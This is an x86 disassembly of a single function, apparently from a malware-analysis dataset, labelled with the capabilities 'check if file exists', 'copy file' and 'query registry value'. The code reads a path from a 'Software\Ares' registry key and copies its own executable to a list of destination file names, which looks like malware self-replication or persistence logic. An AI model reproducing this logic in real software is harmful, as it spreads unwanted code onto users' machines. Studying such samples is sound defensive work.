Function at 0x402045
Capabilities:
Check if file exists
Copy file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x20], 0x100
mov dword [esp + 4], 0x104
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareAres
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40210d
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x20]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Sys.Desktop
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
jmp 0x40213e
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov al, 0
jmp 0x402268
sub esp, 4
mov dword [esp + 8], 0x104
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x40224a
mov dword [ebp - 0xc], 0
jmp 0x402213
mov dword [esp + 4], 0x104
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [esp + 4], 0x42572a
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcpyA
sub esp, 8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + section..data]
test eax, eax
setne al
test al, al
jne 0x402184
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov al, 1
jmp 0x402268
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov al, 0
jmp 0x402272
leave
ret